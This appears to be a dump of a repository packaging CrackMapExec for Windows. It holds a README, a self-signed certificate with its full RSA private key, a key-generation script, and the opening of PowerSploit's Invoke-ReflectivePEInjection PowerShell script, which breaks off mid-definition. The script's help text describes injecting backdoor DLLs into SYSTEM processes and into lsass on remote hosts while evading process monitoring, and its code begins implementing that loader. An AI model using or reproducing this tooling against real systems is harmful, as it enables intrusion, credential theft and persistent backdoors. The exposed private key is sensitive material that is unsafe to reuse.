├── README.md ├── certs ├── crackmapexec.crt ├── crackmapexec.key └── gen-self-signed-cert.sh ├── crackmapexec.exe ├── hosted ├── Invoke-Mimikatz.ps1 ├── Invoke-NinjaCopy.ps1 ├── Invoke-ReflectivePEInjection.ps1 ├── Invoke-Shellcode.ps1 └── powerview.ps1 └── logs └── .gitignore /README.md: -------------------------------------------------------------------------------- 1 | CrackMapExecWin 2 | ================= 3 | 4 | Description 5 | ----------- 6 | The great `CrackMapExec` tool compiled for Windows 7 | 8 | Features 9 | -------- 10 | * Latest `2.2` version 11 | * Compiled for `x86` so should work on `x86` and `x64` platforms 12 | 13 | 14 | Usage 15 | ----- 16 | 1. Download the [whole archive](https://github.com/maaaaz/CrackMapExecWin/releases/download/v2.2/CrackMapExecWin_v2.2.zip) 17 | 2. Extract it and run `crackmapexec.exe` 18 | 3. Profit 19 | 20 | 21 | Older versions 22 | -------------- 23 | * Browse the [release section](https://github.com/maaaaz/CrackMapExecWin/releases) to find some old versions 24 | 25 | 26 | Disclaimer & licence 27 | --------------------- 28 | * Do not use it for illegal purposes 29 | * I don't own anything on the CrackMapExec brand 30 | * Last but not least, antivirus softwares might report some binaries as hacktools or even malwares: this is a known and common issue. If you don't trust this compilation: 31 | 1. Just don't download it. 32 | 2. Compile it yourself with [that tutorial](https://github.com/maaaaz/CrackMapExecWin/wiki/How-to-compile-CrackMapExec-for-Windows) 33 | 34 | Credits 35 | ------- 36 | * byt3bl33d3r for his awesome [CrackMapExec tool](https://github.com/byt3bl33d3r/CrackMapExec) -------------------------------------------------------------------------------- /certs/crackmapexec.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIC0zCCAbugAwIBAgIJAJoXi7tJgXIQMA0GCSqGSIb3DQEBCwUAMAAwHhcNMTUx 3 | MDE2MTkwMTE0WhcNMjUxMDEzMTkwMTE0WjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC 4 | AQ8AMIIBCgKCAQEAsIvtOfuJ7TakL8EVH/ku1mXBWnaACfjNdh7ISTlC7oXaRTxe 5 | WHjGBkmAAWjHIfKRQev0MxFc6PW+GpV5EtAPIN0j3IHyQhNf+4pfNZyBDR6pdPoH 6 | /d0DonwxZ7chbc+kpbCz3/0pEuZ+cdfqqe2qd7putw55kbGMlInVa0j95C0VSQPv 7 | RyJa/n8IJZWOHrVX1OzsuZlrBqPoa/ieZaBa4Y2rBvgclVRzw6vmRKFTDCqcARCd 8 | TfcQ8ga2wD/Cfah4Z6PMT7ZlAHplFZdvCC1bVC077qUpIR4xxn/D/UGSvmQc3ssg 9 | 3pVKGsuqbIb0LLgzMPN4LG2TiHBHpWwS3l4/iwIDAQABo1AwTjAdBgNVHQ4EFgQU 10 | Q7giuO8Hlv/pMqGMLASC8/uW82owHwYDVR0jBBgwFoAUQ7giuO8Hlv/pMqGMLASC 11 | 8/uW82owDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAGYf7iROqTpkG 12 | Rl7O7Kf1gwb4LJcsSLSHKqOw76ujOVY4r552ayJLEGhkizXMgE4HuLTAdLFNd+KT 13 | DyqxCK3GOikx0D/Wl+xgwQWxkNmuOlajDH1aNJp38BS9yFuHm5b8iOWLpgpoHfPU 14 | 9Lj16C3mnXRnKkmXxtg46gB3P1lT1Zv5Nl7o58//D/5/RCoRjZ4m/rfypekszsBZ 15 | LzWwabf6WKWzwnx9S+tL/pelzMnhjJ83SmpRE0aKGjjw9+COzpnTyDdGSzCXLJM9 16 | hjuDcReX7yk0o0thkwlu2pY2hA0ZwjAKu0fIZAD9s4QwxqfAnj26ENscd4VJA+Ph 17 | 4lJiTamdpA== 18 | -----END CERTIFICATE----- 19 | -------------------------------------------------------------------------------- /certs/crackmapexec.key: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEowIBAAKCAQEAsIvtOfuJ7TakL8EVH/ku1mXBWnaACfjNdh7ISTlC7oXaRTxe 3 | WHjGBkmAAWjHIfKRQev0MxFc6PW+GpV5EtAPIN0j3IHyQhNf+4pfNZyBDR6pdPoH 4 | /d0DonwxZ7chbc+kpbCz3/0pEuZ+cdfqqe2qd7putw55kbGMlInVa0j95C0VSQPv 5 | RyJa/n8IJZWOHrVX1OzsuZlrBqPoa/ieZaBa4Y2rBvgclVRzw6vmRKFTDCqcARCd 6 | TfcQ8ga2wD/Cfah4Z6PMT7ZlAHplFZdvCC1bVC077qUpIR4xxn/D/UGSvmQc3ssg 7 | 3pVKGsuqbIb0LLgzMPN4LG2TiHBHpWwS3l4/iwIDAQABAoIBAFtHPVPpNZqr0Z/P 8 | GHj7gLfgzGNVOUXumWwk5jDVpkFke0GowK7FYr0Fa2VPIwXuQCPxNsTgiUT5KVzd 9 | Q0fywp+fNldf6D05fzqyhB9X13FNFRgh3dfnWWW9CF4zVNlNrjbscVOxtHbNLTr3 10 | A6Dv/F8CyRNkLH6jaaeyy+E4T+yUdnZNUNumhXLRGMWUUOWbTlNtoMAoWcF7cPZh 11 | srBPwaGsH6ePNTzLC4Nve1Zayz8OUtLMcMJk8A85LadImYiYrY3F/2Kvx9IgO9dn 12 | LPJgFrejI5Wa5AWk9O4d32gduXFW8EkJfKwAXLRqIB1HT7lXESVQiVz6HBde5fNp 13 | YxwzhEECgYEA4AQSIEnge88MUG3vWSFl5iMR93wK2EiLbQi5W6TbNJzVh62eiFnW 14 | U9JzGi329FHhlH8A2T8jhShwyaOjG43Vfii+HSofYaxlf2TcEa6FqKvz8GOfgHbN 15 | QdD+6JEYg5hVELsLI0ML4CMul5/86Wc4pComonFFoiKFSv0443aCJDkCgYEAycDS 16 | NDi0ywSbJ/eeTPhiAAtHY4CjgHH15Ba9AFAHOkOHBPMH8l66WjgoVhAH85yBhybr 17 | 3e+I+RCBILHyI/N20XWZo9bPiX6C2w4ukEKt8gB8DwFZDkssgHtMtv3Q3P1CBH51 18 | kwH6MURp0KZ3JYMNTjM9/crYNmk/9SzQSKiDKeMCgYAPjljP4zFyh4s8XpX7Y4VW 19 | +OJ7hCKgqFD+TlfI1GbgfW+aj2Tt5QcsJPYXQE/g4Xq/vB4L+AV4brl+Vx2xgSTt 20 | MNka31z0hGs78H4TwEHJ178F13UxD47rXh8FeWXxZXeqxMJePX6qnubSYqrGboOR 21 | atfp+eGzA6Cr92+m5AjfiQKBgHAi1jLkWciFdN+QB9JsM7wmiLVLaJUZwjvWT5J+ 22 | 6KV/puofUolqEVXX5MOBAYprsKq3/V1Lp+wXOk472YQV7DKblJu154BaaszqYwMX 23 | rKrXjhyg+Siyq7d10Lvc81wA/9KTnzHoZXFAvzeTbqHQ53JRlOEc/3OuqDfTgqj/ 24 | 0HdVAoGBAKOhnY43mUvJWkBI/HmWK3a4/nm4o90HHmcYZzdFMSPAyYqpRSfMS/9S 25 | +XjbO0ZetdEo+PV7ko5fT8ncw20Jdv8VMA8FMSpQs13AuI3tjv+mABqmXsm0wGYc 26 | 7f/09XL6y42MDF81N2ujSYT4QGJW2t1ipkgOmCQQrjIJdEtOoySF 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /certs/gen-self-signed-cert.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | openssl genrsa -out crackmapexec.key 2048 3 | openssl req -new -x509 -days 3650 -key crackmapexec.key -out crackmapexec.crt -subj "/" 4 | -------------------------------------------------------------------------------- /crackmapexec.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maaaaz/CrackMapExecWin/311fb8321f0e0881ba3e3f1c71f2e05c546d76bb/crackmapexec.exe -------------------------------------------------------------------------------- /hosted/Invoke-ReflectivePEInjection.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-CHANGE_ME_HERE 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, 7 | or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, 8 | please lead the Notes section (GENERAL NOTES) for information on how to use them. 9 | 10 | 1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. 11 | Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. 12 | 13 | This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system, 14 | this will load and execute the DLL/EXE in to memory without writing any files to disk. 15 | 16 | 2.) Reflectively load a DLL in to memory of a remote process. 17 | As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process. 18 | 19 | This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output 20 | from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the 21 | remote process. 22 | 23 | PowerSploit Function: Invoke-ReflectivePEInjection 24 | Author: Joe Bialek, Twitter: @JosephBialek 25 | Code review and modifications: Matt Graeber, Twitter: @mattifestation 26 | License: BSD 3-Clause 27 | Required Dependencies: None 28 | Optional Dependencies: None 29 | 30 | .DESCRIPTION 31 | 32 | Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. 33 | 34 | .PARAMETER PEBytes 35 | 36 | A byte array containing a DLL/EXE to load and execute. 37 | 38 | .PARAMETER ComputerName 39 | 40 | Optional, an array of computernames to run the script on. 41 | 42 | .PARAMETER FuncReturnType 43 | 44 | Optional, the return type of the function being called in the DLL. Default: Void 45 | Options: String, WString, Void. See notes for more information. 46 | IMPORTANT: For DLLs being loaded remotely, only Void is supported. 47 | 48 | .PARAMETER ExeArgs 49 | 50 | Optional, arguments to pass to the executable being reflectively loaded. 51 | 52 | .PARAMETER ProcName 53 | 54 | Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. 55 | 56 | .PARAMETER ProcId 57 | 58 | Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. 59 | 60 | .PARAMETER ForceASLR 61 | 62 | Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even 63 | if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when 64 | loading in to a remote process. 65 | 66 | .PARAMETER DoNotZeroMZ 67 | 68 | Optional, will not wipe the MZ from the first two bytes of the PE. This is to be used primarily for testing purposes and to enable loading the same PE with Invoke-ReflectivePEInjection more than once. 69 | 70 | .EXAMPLE 71 | 72 | Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). 73 | $PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll') 74 | Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local 75 | 76 | .EXAMPLE 77 | 78 | Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print 79 | the wchar_t* returned by WStringFunc() from all the computers. 80 | $PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll') 81 | Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) 82 | 83 | .EXAMPLE 84 | 85 | Load DemoEXE and run it locally. 86 | $PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe') 87 | Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" 88 | 89 | .EXAMPLE 90 | 91 | Load DemoEXE and run it locally. Forces ASLR on for the EXE. 92 | $PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe') 93 | Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR 94 | 95 | .EXAMPLE 96 | 97 | Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer. 98 | $PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll') 99 | Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local 100 | 101 | .NOTES 102 | GENERAL NOTES: 103 | The script has 3 basic sets of functionality: 104 | 1.) Reflectively load a DLL in to the PowerShell process 105 | -Can return DLL output to user when run remotely or locally. 106 | -Cleans up memory in the PS process once the DLL finishes executing. 107 | -Great for running pentest tools on remote computers without triggering process monitoring alerts. 108 | -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info. 109 | 2.) Reflectively load an EXE in to the PowerShell process. 110 | -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally. 111 | -Cleans up memory in the PS process once the DLL finishes executing. 112 | -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts. 113 | 3.) Reflectively inject a DLL in to a remote process. 114 | -Can NOT return DLL output to the user when run remotely OR locally. 115 | -Does NOT clean up memory in the remote process if/when DLL finishes execution. 116 | -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. 117 | -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. 118 | 119 | DLL LOADING NOTES: 120 | 121 | PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output. 122 | If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL 123 | return a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell 124 | remoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from 125 | applications because it will just appear in the console window. The limitation only applies when using PowerShell remoting. 126 | 127 | For DLL Loading: 128 | Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE" 129 | I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return 130 | the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the 131 | returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows: 132 | wchar_t* : FuncReturnType = WString 133 | char* : FuncReturnType = String 134 | void : Default, don't supply a FuncReturnType 135 | 136 | For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string 137 | using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns. 138 | 139 | The function name expected in the DLL for the prewritten FuncReturnType's is as follows: 140 | WString : WStringFunc 141 | String : StringFunc 142 | Void : VoidFunc 143 | 144 | These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would 145 | be declared as follows: 146 | extern "C" __declspec( dllexport ) wchar_t* WStringFunc() 147 | 148 | 149 | If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify 150 | this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE". 151 | 152 | Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection 153 | 154 | .LINK 155 | 156 | http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ 157 | 158 | Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ 159 | Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/ 160 | #> 161 | 162 | [CmdletBinding()] 163 | Param( 164 | [Parameter(Position = 0, Mandatory = $true)] 165 | [ValidateNotNullOrEmpty()] 166 | [Byte[]] 167 | $PEBytes, 168 | 169 | [Parameter(Position = 1)] 170 | [String[]] 171 | $ComputerName, 172 | 173 | [Parameter(Position = 2)] 174 | [ValidateSet( 'WString', 'String', 'Void' )] 175 | [String] 176 | $FuncReturnType = 'Void', 177 | 178 | [Parameter(Position = 3)] 179 | [String] 180 | $ExeArgs, 181 | 182 | [Parameter(Position = 4)] 183 | [Int32] 184 | $ProcId, 185 | 186 | [Parameter(Position = 5)] 187 | [String] 188 | $ProcName, 189 | 190 | [Switch] 191 | $ForceASLR, 192 | 193 | [Switch] 194 | $DoNotZeroMZ 195 | ) 196 | 197 | Set-StrictMode -Version 2 198 | 199 | 200 | $RemoteScriptBlock = { 201 | [CmdletBinding()] 202 | Param( 203 | [Parameter(Position = 0, Mandatory = $true)] 204 | [Byte[]] 205 | $PEBytes, 206 | 207 | [Parameter(Position = 1, Mandatory = $true)] 208 | [String] 209 | $FuncReturnType, 210 | 211 | [Parameter(Position = 2, Mandatory = $true)] 212 | [Int32] 213 | $ProcId, 214 | 215 | [Parameter(Position = 3, Mandatory = $true)] 216 | [String] 217 | $ProcName, 218 | 219 | [Parameter(Position = 4, Mandatory = $true)] 220 | [Bool] 221 | $ForceASLR 222 | ) 223 | 224 | ################################### 225 | ########## Win32 Stuff ########## 226 | ################################### 227 | Function Get-Win32Types 228 | { 229 | $Win32Types = New-Object System.Object 230 | 231 | #Define all the structures/enums that will be used 232 | # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html 233 | $Domain = [AppDomain]::CurrentDomain 234 | $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') 235 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) 236 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) 237 | $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] 238 | 239 | 240 | ############ ENUM ############ 241 | #Enum MachineType 242 | $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) 243 | $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null 244 | $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null 245 | $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null 246 | $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null 247 | $MachineType = $TypeBuilder.CreateType() 248 | $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType 249 | 250 | #Enum MagicType 251 | $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) 252 | $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null 253 | $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null 254 | $MagicType = $TypeBuilder.CreateType() 255 | $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType 256 | 257 | #Enum SubSystemType 258 | $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) 259 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null 260 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null 261 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null 262 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null 263 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null 264 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null 265 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null 266 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null 267 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null 268 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null 269 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null 270 | $SubSystemType = $TypeBuilder.CreateType() 271 | $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType 272 | 273 | #Enum DllCharacteristicsType 274 | $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) 275 | $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null 276 | $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null 277 | $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null 278 | $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null 279 | $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null 280 | $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null 281 | $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null 282 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null 283 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null 284 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null 285 | $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null 286 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null 287 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null 288 | $DllCharacteristicsType = $TypeBuilder.CreateType() 289 | $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType 290 | 291 | ########### STRUCT ########### 292 | #Struct IMAGE_DATA_DIRECTORY 293 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' 294 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) 295 | ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null 296 | ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null 297 | $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() 298 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY 299 | 300 | #Struct IMAGE_FILE_HEADER 301 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 302 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) 303 | $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null 304 | $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null 305 | $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null 306 | $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null 307 | $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null 308 | $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null 309 | $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null 310 | $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() 311 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER 312 | 313 | #Struct IMAGE_OPTIONAL_HEADER64 314 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' 315 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) 316 | ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null 317 | ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null 318 | ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null 319 | ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null 320 | ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null 321 | ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null 322 | ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null 323 | ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null 324 | ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null 325 | ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null 326 | ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null 327 | ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null 328 | ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null 329 | ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null 330 | ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null 331 | ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null 332 | ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null 333 | ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null 334 | ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null 335 | ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null 336 | ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null 337 | ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null 338 | ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null 339 | ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null 340 | ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null 341 | ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null 342 | ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null 343 | ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null 344 | ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null 345 | ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null 346 | ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null 347 | ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null 348 | ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null 349 | ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null 350 | ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null 351 | ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null 352 | ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null 353 | ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null 354 | ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null 355 | ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null 356 | ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null 357 | ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null 358 | ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null 359 | ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null 360 | ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null 361 | $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() 362 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 363 | 364 | #Struct IMAGE_OPTIONAL_HEADER32 365 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' 366 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) 367 | ($TypeBuilder.DefineField('Magic', $MagicType, 